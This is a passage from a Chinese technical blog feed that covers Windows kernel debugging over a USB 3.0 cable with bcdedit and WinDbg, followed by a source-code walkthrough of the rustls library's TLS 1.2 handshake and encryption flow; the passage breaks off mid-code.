href="https://www.datapro.net/products/usb-3-0-super-speed-a-a-debugging-cable.html">国外购买地址</a>（可以用普通USB3.0 公对公线改造，剪掉红绿百三根线）</p> <blockquote> <p>先从淘宝买一根USB 3的A对A连线，有时也称公对公连线，很便宜。这根线需要加工一下才可以支持调试，加工的方法是选取线的某个位置，剥开外皮，然后把其中的红绿白三根线剪断，然后包上就可以了。USB 3电缆的线是有固定颜色的，如图3所示，<br>其中SDP是Shielded Differential Pair的缩写，即屏蔽起来的差分信号线，是USB 3.0的数据线，UTP是Unshielded Twisted Pair的缩写，即未屏蔽的双绞线，是USB1/2使用的数据线，所谓的D+，D-。要做的加工其实就是把2.0的三根弦剪断。剥开后，很容易找到红绿白三根，胆大心细，下剪子吧:-)。</p> </blockquote> <p>4.两台主机系统必须是Win8以上</p> <blockquote> <p>On the host computer, an xHCI (USB 3.0) host controller<br>On the target computer, an xHCI (USB 3.0) host controller that supports debugging</p> </blockquote> <a id="more"></a> <h1 id="步骤"><a href="#步骤" class="headerlink" title="步骤"></a>步骤</h1><p><strong>在目标主机配置调试模式。</strong></p> <p>命令：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">bcdedit &#x2F;debug on</span><br><span class="line">bcdedit &#x2F;dbgsettings usb targetname:TargetName</span><br><span class="line">&#x2F;&#x2F;如果目标主机有多个xHCI主机控制器，则需要配置需要使用的，b.d.f在usbview中可以看到</span><br><span class="line">bcdedit &#x2F;set &quot;&#123;dbgsettings&#125;&quot; busparams b.d.f</span><br><span class="line">&#x2F;&#x2F;重启主机</span><br></pre></td></tr></table></figure> <p>使用msconfig配置，引导，高级模式，勾选调试，选择USB模式，USB目标名：usbdbg</p> <p><strong>host主机配置。</strong></p> <p>第一次配置，如果host是X64，开启X64 windbg，如果是x86，选择开启x86 windbg，需要管理员权限运行。</p> <p>Ctrl+K，选择USB，填入目标主机配置的名字（usbdbg），确认，等待。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">Microsoft (R) Windows Debugger Version 10.0.14321.1024 AMD64</span><br><span class="line">Copyright (c) Microsoft Corporation. All rights reserved.</span><br><span class="line"></span><br><span class="line">Using USB for debugging</span><br><span class="line">Waiting to reconnect...</span><br><span class="line">USB: Write opened</span><br></pre></td></tr></table></figure> <p>当将USB调试线插入host主机接口时，会自动安装相关驱动（usb2dbg等，管理员，位数等要求的原因）。</p> <p>然后出现<code>USB: Write opened</code>表示与目标主机连接成功。</p> <p>按下Ctrl+break，即可开始调试目标主机了</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">Connected to Windows 10 16299 x64 target at (Tue Dec 12 09:47:18.535 2017 (UTC + 8:00)), ptr64 TRUE</span><br><span class="line">Kernel Debugger connection established.</span><br><span class="line"></span><br><span class="line">************* Symbol Path validation summary **************</span><br><span class="line">Response                         Time (ms)     Location</span><br><span class="line">Deferred                                       SRV*e:\symbols* http:&#x2F;&#x2F;msdl.microsoft.com&#x2F;download&#x2F;symbols</span><br><span class="line">Deferred                                       SRV*e:\symbols*http:&#x2F;&#x2F;msdl.microsoft.com&#x2F;download&#x2F;symbols</span><br><span class="line">Symbol search path is: SRV*e:\symbols* http:&#x2F;&#x2F;msdl.microsoft.com&#x2F;download&#x2F;symbols;SRV*e:\symbols*http:&#x2F;&#x2F;msdl.microsoft.com&#x2F;download&#x2F;symbols</span><br><span class="line">Executable search path is: </span><br><span class="line">Windows 10 Kernel Version 16299 MP (4 procs) Free x64</span><br><span class="line">Product: WinNt, suite: TerminalServer SingleUserTS</span><br><span class="line">Built by: 16299.15.amd64fre.rs3_release.170928-1534</span><br><span class="line">Machine Name:</span><br><span class="line">Kernel base &#x3D; 0xfffff800&#96;9e21d000 PsLoadedModuleList &#x3D; 0xfffff800&#96;9e57efb0</span><br><span class="line">Debug session time: Tue Dec 12 09:47:12.452 2017 (UTC + 8:00)</span><br><span class="line">System Uptime: 3 days 17:11:46.032</span><br><span class="line">WARNING: Whitespace at end of path element</span><br><span class="line"></span><br><span class="line">************* Symbol Path validation summary **************</span><br><span class="line">Response                         Time (ms)     Location</span><br><span class="line">Deferred                                       SRV*e:\symbols* http:&#x2F;&#x2F;msdl.microsoft.com&#x2F;download&#x2F;symbols</span><br><span class="line">Deferred                                       SRV*e:\symbols*http:&#x2F;&#x2F;msdl.microsoft.com&#x2F;download&#x2F;symbols</span><br><span class="line">Break instruction exception - code 80000003 (first chance)</span><br><span class="line">*******************************************************************************</span><br><span class="line">*                                                                             *</span><br><span class="line">*   You are seeing this message because you pressed either                    *</span><br><span class="line">*       CTRL+C (if you run console kernel debugger) or,                       *</span><br><span class="line">*       CTRL+BREAK (if you run GUI kernel debugger),                          *</span><br><span class="line">*   on your debugger machine&#39;s keyboard.                                      *</span><br><span class="line">*                                                                             *</span><br><span class="line">*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *</span><br><span class="line">*                                                                             *</span><br><span class="line">* If you did not intend to break into the debugger, press the &quot;g&quot; key, then   *</span><br><span class="line">* press the &quot;Enter&quot; key now.  This message might immediately reappear.  If it *</span><br><span class="line">* does, press &quot;g&quot; and &quot;Enter&quot; again.                                          *</span><br><span class="line">*                                                                             *</span><br><span class="line">*******************************************************************************</span><br><span class="line">nt!DbgBreakPointWithStatus:</span><br><span class="line">fffff800&#96;9e386c60 cc              int     3</span><br></pre></td></tr></table></figure> <p>连接成功，设备管理中出现<code>USB Debug Connection Device</code>。</p> <p>参考：</p> <ol> <li><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-usb-3-0-debug-cable-connection">setting-up-a-usb-3-0-debug-cable-connection</a></li> <li><a href="http://en.community.dell.com/techcenter/b/techcenter/archive/2014/09/30/usb3-kernel-debugging-with-dell-poweredge-13g-servers">USB3 Kernel Debugging with Dell PowerEdge 13G Servers</a></li> <li><a href="http://blog.techlab-xe.net/archives/1961">http://blog.techlab-xe.net/archives/1961</a></li> <li><a href="http://advdbg.org/blogs/advdbg_system/articles/5954.aspx">使用USB3.0调试Windows 8</a></li> </ol> ]]></content>          <summary type="html">            &lt;h1 id=&quot;配置需求&quot;&gt;&lt;a href=&quot;#配置需求&quot; class=&quot;headerlink&quot; title=&quot;配置需求&quot;&gt;&lt;/a&gt;配置需求&lt;/h1&gt;&lt;p&gt;1.目标主机有USB3.0 xHCI主机控制器，支持调试&lt;br&gt;2.host主机支持USB3.0 xHCI主机控制器(使用UsbView查看)&lt;br&gt;3.USB 3.0 调试线(&lt;a href=&quot;https://www.datapro.net/products/usb-3-0-super-speed-a-a-debugging-cable.html&quot;&gt;国外购买地址&lt;/a&gt;（可以用普通USB3.0 公对公线改造，剪掉红绿百三根线）&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;先从淘宝买一根USB 3的A对A连线，有时也称公对公连线，很便宜。这根线需要加工一下才可以支持调试，加工的方法是选取线的某个位置，剥开外皮，然后把其中的红绿白三根线剪断，然后包上就可以了。USB 3电缆的线是有固定颜色的，如图3所示，&lt;br&gt;其中SDP是Shielded Differential Pair的缩写，即屏蔽起来的差分信号线，是USB 3.0的数据线，UTP是Unshielded Twisted Pair的缩写，即未屏蔽的双绞线，是USB1/2使用的数据线，所谓的D+，D-。要做的加工其实就是把2.0的三根弦剪断。剥开后，很容易找到红绿白三根，胆大心细，下剪子吧:-)。&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;4.两台主机系统必须是Win8以上&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;On the host computer, an xHCI (USB 3.0) host controller&lt;br&gt;On the target computer, an xHCI (USB 3.0) host controller that supports debugging&lt;/p&gt; &lt;/blockquote&gt;          </summary>            <category term="debug" scheme="https://anhkgg.github.io/categories/debug/"/>                 <category term="windbg" scheme="https://anhkgg.github.io/tags/windbg/"/>            <category term="usb3" scheme="https://anhkgg.github.io/tags/usb3/"/>            <category term="debug" scheme="https://anhkgg.github.io/tags/debug/"/>            <category term="win10" scheme="https://anhkgg.github.io/tags/win10/"/>        </entry>      <entry>     <title>Rustls之源码分析总结（一）</title>     <link href="https://anhkgg.github.io/rustls-source-code-analyze/"/>     <id>https://anhkgg.github.io/rustls-source-code-analyze/</id>     <published>2017-11-17T05:19:50.000Z</published>     <updated>2017-11-17T05:35:17.810Z</updated>          <content type="html"><![CDATA[<ul> <li>作者：<strong>anhkgg</strong> </li> <li>日期：<strong>2017-11-16</strong></li> </ul> <p>rustls已经支持tls1.3，但是测试分析中使用的tls1.2，所以后面分析主要集中在tls1.2。</p> <p>主要分析的源码内容：</p> <ol> <li>client和server的握手协议流程</li> <li>rustls是如何进行数据传输的</li> <li>数据传输是如何加密解密的</li> </ol> <a id="more"></a> <h2 id="源码结构"><a href="#源码结构" class="headerlink" title="源码结构"></a>源码结构</h2><p><strong>分为client和server两部分</strong></p> <h3 id="公共接口"><a href="#公共接口" class="headerlink" title="公共接口"></a>公共接口</h3><p><strong>session.rs</strong>定义了SessionCommon，包括了数据传输、数据加密、包处理相关接口。</p> <p><strong>主要字段</strong></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">pub struct SessionCommon &#123;</span><br><span class="line">    pub negotiated_version: Option&lt;ProtocolVersion&gt;, &#x2F;&#x2F;协商好的协议版本</span><br><span class="line">    pub is_client: bool, &#x2F;&#x2F;是客户端true，是服务端false</span><br><span class="line">    message_encrypter: Box&lt;MessageEncrypter&gt;, &#x2F;&#x2F;数据加密接口</span><br><span class="line">    message_decrypter: Box&lt;MessageDecrypter&gt;, &#x2F;&#x2F;数据解密接口</span><br><span class="line">    key_schedule: Option&lt;KeySchedule&gt;,</span><br><span class="line">    suite: Option&lt;&amp;&#39;static SupportedCipherSuite&gt;,</span><br><span class="line">    write_seq: u64,</span><br><span class="line">    read_seq: u64,</span><br><span class="line">    peer_eof: bool,</span><br><span class="line">    pub peer_encrypting: bool,</span><br><span class="line">    pub we_encrypting: bool,</span><br><span class="line">    pub traffic: bool, &#x2F;&#x2F; 默认false，握手完成字段为true</span><br><span class="line">    pub want_write_key_update: bool,</span><br><span class="line">    pub message_deframer: MessageDeframer, &#x2F;&#x2F;消息帧处理对象，保存所有Message包</span><br><span class="line">    pub handshake_joiner: HandshakeJoiner,</span><br><span class="line">    pub message_fragmenter: MessageFragmenter,</span><br><span class="line">    received_plaintext: ChunkVecBuffer, &#x2F;&#x2F;缓存接收到的数据明文</span><br><span class="line">    sendable_plaintext: ChunkVecBuffer,&#x2F;&#x2F;缓存握手后需要传输的数据明文</span><br><span class="line">    pub sendable_tls: ChunkVecBuffer, &#x2F;&#x2F;缓存握手数据包</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p><strong>主要接口</strong></p> <table> <thead> <tr> <th>函数名</th> <th>说明 </th> </tr> </thead> <tbody> <tr> <td><code>read_tls</code></td> <td>接收底层连接数据 </td> </tr> <tr> <td><code>write_tls</code></td> <td>通过底层连接发送数据</td> </tr> <tr> <td><code>process_new_packets</code></td> <td>每次调用read_tls之后都需要调用该函数主动触发消息处理</td> </tr> <tr> <td><code>wants_read/wants_write</code></td> <td>是否有数据需要接收发送</td> </tr> <tr> <td><code>encrypt_outgoing</code></td> <td>加密要发送的数据，在握手完成之后需要</td> </tr> <tr> <td><code>decrypt_incoming</code></td> <td>解密要接收的数据，在握手完成之后需要</td> </tr> <tr> <td><code>send_msg_encrypt</code></td> <td>发送加密数据</td> </tr> <tr> <td><code>send_appdata_encrypt</code></td> <td>发送握手之后的数据，加密</td> </tr> <tr> <td><code>send_some_plaintext</code></td> <td>发送明文数据，握手之后会被加密发送</td> </tr> <tr> <td><code>start_traffic</code></td> <td>握手完成之后调用，设置传输标志，发送缓存的数据明文</td> </tr> <tr> <td><code>send_msg</code></td> <td>发送TLS消息，根据是否加密走不通发送方式</td> </tr> <tr> <td><code>take_received_plaintext</code></td> <td>握手完成之后，收到数据会被调用，参数已经是明文Message</td> </tr> <tr> <td><code>set_message_encrypter</code></td> <td>设置消息加密接口，<code>start_encryption_tls12</code>中调用</td> </tr> <tr> <td><code>set_message_decrypter</code></td> <td>设置消息解密接口，<code>start_encryption_tls12</code>中调用</td> </tr> <tr> <td><code>start_encryption_tls12</code></td> <td>TLS1.2设置加解密接口，在ExpectTLS12ServerDone::handle/ExpectTLS12ClientKX::handle调用</td> </tr> </tbody> </table> <p><strong>ciper.rs</strong>定义了加密解密的接口。</p> <p><code>MessageEncrypter</code>,<code>MessageDecrypter</code>，具体使用加解密方法在握手过程中ExpectTLS12ServerDone::handle/ExpectTLS12ClientKX::handle设置。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;client端</span><br><span class="line">&#x2F;&#x2F; 5e. Now commit secrets.</span><br><span class="line">let hashalg &#x3D; sess.common.get_suite().get_hash();</span><br><span class="line">if st.handshake.using_ems &#123;</span><br><span class="line">    sess.secrets &#x3D; Some(SessionSecrets::new_ems(&amp;st.handshake.randoms,</span><br><span class="line">                                                &amp;handshake_hash,</span><br><span class="line">                                                hashalg,</span><br><span class="line">                                                &amp;kxd.premaster_secret));</span><br><span class="line">&#125; else &#123;</span><br><span class="line">    sess.secrets &#x3D; Some(SessionSecrets::new(&amp;st.handshake.randoms,</span><br><span class="line">                                            hashalg,</span><br><span class="line">                                            &amp;kxd.premaster_secret));</span><br><span class="line">&#125;</span><br><span class="line">sess.start_encryption_tls12();</span><br><span class="line">&#x2F;&#x2F;----------</span><br><span class="line">pub fn start_encryption_tls12(&amp;mut self, secrets: &amp;SessionSecrets) &#123;</span><br><span class="line">        let (dec, enc) &#x3D; cipher::new_tls12(self.get_suite(), secrets);</span><br><span class="line">        self.message_encrypter &#x3D; enc;</span><br><span class="line">        self.message_decrypter &#x3D; dec;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure> <h3 id="client详解"><a href="#client详解" class="headerlink" title="client详解"></a>client详解</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">src&#x2F;client&#x2F;mod.rs 导出ClientSession接口，外部使用</span><br><span class="line">src&#x2F;client&#x2F;hs.rs tls协议中所有包处理，包括握手和传输</span><br></pre></td></tr></table></figure> <p><code>ClientSession</code>内部由<code>ClientSessionImpl</code>实现。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">pub struct ClientSessionImpl &#123;</span><br><span class="line">    pub config: Arc&lt;ClientConfig&gt;, &#x2F;&#x2F;保存client端的证书，密钥配置等信息</span><br><span class="line">    pub secrets: Option&lt;SessionSecrets&gt;, &#x2F;&#x2F;保存握手后的会话密钥</span><br><span class="line">    pub alpn_protocol: Option&lt;String&gt;,</span><br><span class="line">    pub common: SessionCommon, &#x2F;&#x2F; 完成具体消息传输、加解密等</span><br><span class="line">    pub error: Option&lt;TLSError&gt;,</span><br><span class="line">    pub state: Option&lt;Box&lt;hs::State + Send&gt;&gt;, &#x2F;&#x2F; 保存握手过程中的交互状态，握手中处理对象都实现State接口</span><br><span class="line">    pub server_cert_chain: CertificatePayload, &#x2F;&#x2F; 服务端证书链</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p><strong>握手，准备第一个数据包</strong>。</p> <p><code>ClientSessionImpl::new</code>内部就会准备握手要发送的第一个数据包。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">cs.state &#x3D; Some(hs::start_handshake(&amp;mut cs, hostname));</span><br><span class="line">&#x2F;&#x2F;cs.state保存下一次将处理数据对象</span><br><span class="line">---&gt; &#x2F;&#x2F;进入hs.rs</span><br><span class="line">InitialState::emit_initial_client_hello</span><br><span class="line">---&gt;</span><br><span class="line">emit_client_hello_for_retry</span><br><span class="line">---&gt; &#x2F;&#x2F;构造发送的数据包</span><br><span class="line">let mut chp &#x3D; HandshakeMessagePayload &#123;</span><br><span class="line">        typ: HandshakeType::ClientHello,</span><br><span class="line">        payload: HandshakePayload::ClientHello(ClientHelloPayload &#123;</span><br><span class="line">            client_version: ProtocolVersion::TLSv1_2,</span><br><span class="line">            random: Random::from_slice(&amp;handshake.randoms.client),</span><br><span class="line">            session_id: session_id,</span><br><span class="line">            cipher_suites: sess.get_cipher_suites(),</span><br><span class="line">            compression_methods: vec![Compression::Null],</span><br><span class="line">            extensions: exts,</span><br><span class="line">        &#125;),</span><br><span class="line">    &#125;;</span><br></pre></td></tr></table></figure> <p>然后，收到返回数据之后，会在<code>ClientSessionImpl::process_main_protocol</code>调用<code>state.handle</code>来处理收到的数据，然后返回新的state，用于下次处理，如此循环，知道握手完成。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">fn process_main_protocol(&amp;mut self, msg: Message) -&gt; Result&lt;(), TLSError&gt; &#123;</span><br><span class="line"> &#x2F;&#x2F;检查消息是否合法</span><br><span class="line">    let state &#x3D; self.state.take().unwrap();</span><br><span class="line">    state</span><br><span class="line">        .check_message(&amp;msg)</span><br><span class="line">        .map_err(|err| &#123;</span><br><span class="line">            self.queue_unexpected_alert();</span><br><span class="line">            err</span><br><span class="line">        &#125;)?;</span><br><span class="line">    &#x2F;&#x2F;处理本次数据，返回下次需要处理的数据对象</span><br><span class="line">    self.state &#x3D; Some(state.handle(self, msg)?);</span><br><span class="line">    Ok(())</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>消息处理调用流程如下：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;ClientSessionImpl</span><br><span class="line">process_new_packets-&gt;process_msg-&gt;process_main_protocol-&gt;state.handle</span><br></pre></td></tr></table></figure> <p>下面直接列出client端握手处理流程：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">ExpectServerHelloOrHelloRetryRequest:handle </span><br><span class="line">ExpectServerHello:handle &#x2F;&#x2F; 处理serverhello</span><br><span class="line">ExpectTLS12Certificate: handle &#x2F;&#x2F;验证证书</span><br><span class="line">ExpectTLS12ServerKX: handle  &#x2F;&#x2F; 密钥交换</span><br><span class="line">ExpectTLS12ServerDoneOrCertReq: handle</span><br><span class="line">ExpectTLS12ServerDone: handle</span><br><span class="line">emit_clientkx</span><br><span class="line">emit_ccs</span><br><span class="line">ExpectTLS12CCS:handle &#x2F;&#x2F;通知使用加密方式发送报文，sess.common.peer_now_encrypting();设置后面数据会加密的状态</span><br><span class="line">emit_finished</span><br><span class="line">ExpectTLS12Finished:handle &#x2F;&#x2F; 握手结束</span><br></pre></td></tr></table></figure> <p>在<code>ExpectTLS12Finished::handle</code>中，会保存<code>session</code>，开始传输数据，以及返回下次的<code>state</code>，<strong>此时握手协议已经完成</strong>。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">save_session(&amp;mut st.handshake,</span><br><span class="line">             &amp;mut st.ticket,</span><br><span class="line">             sess);</span><br><span class="line"></span><br><span class="line">if st.resuming &#123;</span><br><span class="line">    emit_ccs(sess);</span><br><span class="line">    emit_finished(&amp;mut st.handshake, sess);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">sess.common.we_now_encrypting();</span><br><span class="line">sess.common.start_traffic(); &#x2F;&#x2F;发送数据</span><br><span class="line">Ok(st.into_expect_tls12_traffic(fin)) &#x2F;&#x2F; 下次需要ExpectTLS12Traffic</span><br></pre></td></tr></table></figure> <p>后面数据传输的所有流程都会进入<code>ExpectTLS12Traffic::handle</code>，也就是开始<strong>传输协议</strong>。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">impl State for ExpectTLS12Traffic &#123;</span><br><span class="line">    fn handle(self: Box&lt;Self&gt;, sess: &amp;mut ClientSessionImpl, mut m: Message) -&gt; StateResult &#123;</span><br><span class="line">   sess.common.take_received_plaintext(m.take_opaque_payload().unwrap());</span><br><span class="line">        Ok(self) &#x2F;&#x2F;返回的依然是ExpectTLS12Traffic给state，所以以后都会进入这里</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p><strong>传输数据的处理</strong>。</p> <p><strong>接收数据</strong></p> <p>调用<code>take_received_plaintext</code>将获取到的明文Message传给内部处理，存入<code>SessionCommon</code>的<code>received_plaintext</code>，等待用户的提取。</p> <p>那明文Message是怎么来的呢？是在前面说到的消息处理流程中，到handle之前。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">process_new_packets-&gt;process_msg-&gt;process_main_protocol-&gt;state.handle</span><br></pre></td></tr></table></figure> <p>在<code>process_msg</code>中会判断<code>peer_encrypting</code>状态为真则将数据解密，而该状态是在握手中<code>ExpectTLS12CCS::handle</code> 被设置为true的。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">pub fn process_msg(&amp;mut self, mut msg: Message) -&gt; Result&lt;(), TLSError&gt; &#123;</span><br><span class="line"> &#x2F;&#x2F; Decrypt if demanded by current state.</span><br><span class="line"> if self.common.peer_encrypting &#123;</span><br><span class="line">     let dm &#x3D; self.common.decrypt_incoming(msg)?; &#x2F;&#x2F;解密数据</span><br><span class="line">     msg &#x3D; dm;</span><br><span class="line"> &#125;</span><br><span class="line">        </span><br><span class="line">&#x2F;&#x2F;self.common.peer_encrypting</span><br><span class="line">pub fn peer_now_encrypting(&amp;mut self) &#123;</span><br><span class="line">    self.peer_encrypting &#x3D; true;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p><strong>发送数据</strong></p> <p><strong>握手过程中</strong>，发送数据包使用<code>sess.common.send_msg(ch, false)</code>。<code>send_msg</code>内部根据是否加密状态（<code>must_encrypt</code>）进行不同处理，直接缓存或者调用<code>send_msg_encrypt</code>加密之后缓存。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">send_msg_encrypt-&gt;send_single_fragment-&gt;encrypt_outgoing(加密)</span><br></pre></td></tr></table></figure> <p>最后都是通过<code>queue_tls_message</code>将数据先缓存，然后在调用<code>write_tls</code>之后将数据发送。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">pub fn write_tls(&amp;mut self, wr: &amp;mut Write) -&gt; io::Result&lt;usize&gt; &#123;</span><br><span class="line">    self.sendable_tls.write_to(wr)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p><strong>握手完成后</strong>，通过<code>ClientSession</code>实现的<code>io::write</code>（或者<code>write_all</code>）接口发送明文数据。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">impl io::Write for ClientSession &#123;</span><br><span class="line"> &#x2F;&#x2F;先缓存数据</span><br><span class="line">    fn write(&amp;mut self, buf: &amp;[u8]) -&gt; io::Result&lt;usize&gt;&#123;</span><br><span class="line">            self.imp.common.send_some_plaintext(buf)</span><br><span class="line">    &#125;</span><br><span class="line"> &#x2F;&#x2F;flush时才发送数据</span><br><span class="line">    fn flush(&amp;mut self) -&gt; io::Result&lt;()&gt; &#123;</span><br><span class="line">        self.imp.common.flush_plaintext();</span><br><span class="line">        Ok(())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p><code>send_some_plaintext</code>在根据是否握手完成有不同的操作，握手未完成时，先缓存明文到<code>sendable_plaintext</code>，握手完成后，直接调用<code>send_appdata_encrypt</code>缓存密文（进入<code>send_single_fragment</code>过程加密）。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">pub fn send_some_plaintext(&amp;mut self, data: &amp;[u8]) -&gt; io::Result&lt;usize&gt; &#123;</span><br><span class="line">    self.send_plain(data, Limit::Yes)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">fn send_plain(&amp;mut self, data: &amp;[u8], limit: Limit) -&gt; io::Result&lt;usize&gt; &#123;</span><br><span class="line">    if !self.traffic &#123; &#x2F;&#x2F;握手未完成</span><br><span class="line">        let len &#x3D; match limit &#123; &#x2F;&#x2F;缓存明文</span><br><span class="line">            Limit::Yes &#x3D;&gt; self.sendable_plaintext.append_limited_copy(data),</span><br><span class="line">            Limit::No &#x3D;&gt; self.sendable_plaintext.append(data.to_vec())</span><br><span class="line">        &#125;;</span><br><span class="line">        return Ok(len);</span><br><span class="line">    &#125;</span><br><span class="line">    &#x2F;&#x2F;握手完成，直接缓存加密数据</span><br><span class="line">    Ok(self.send_appdata_encrypt(data, limit))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>握手完成时，之前缓存的明文数据通过<code>start_traffic</code>实际将数据加密缓存到sendable_tls，最后也是通过write_tls发送出去。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">pub fn start_traffic(&amp;mut self) &#123;</span><br><span class="line">        self.traffic &#x3D; 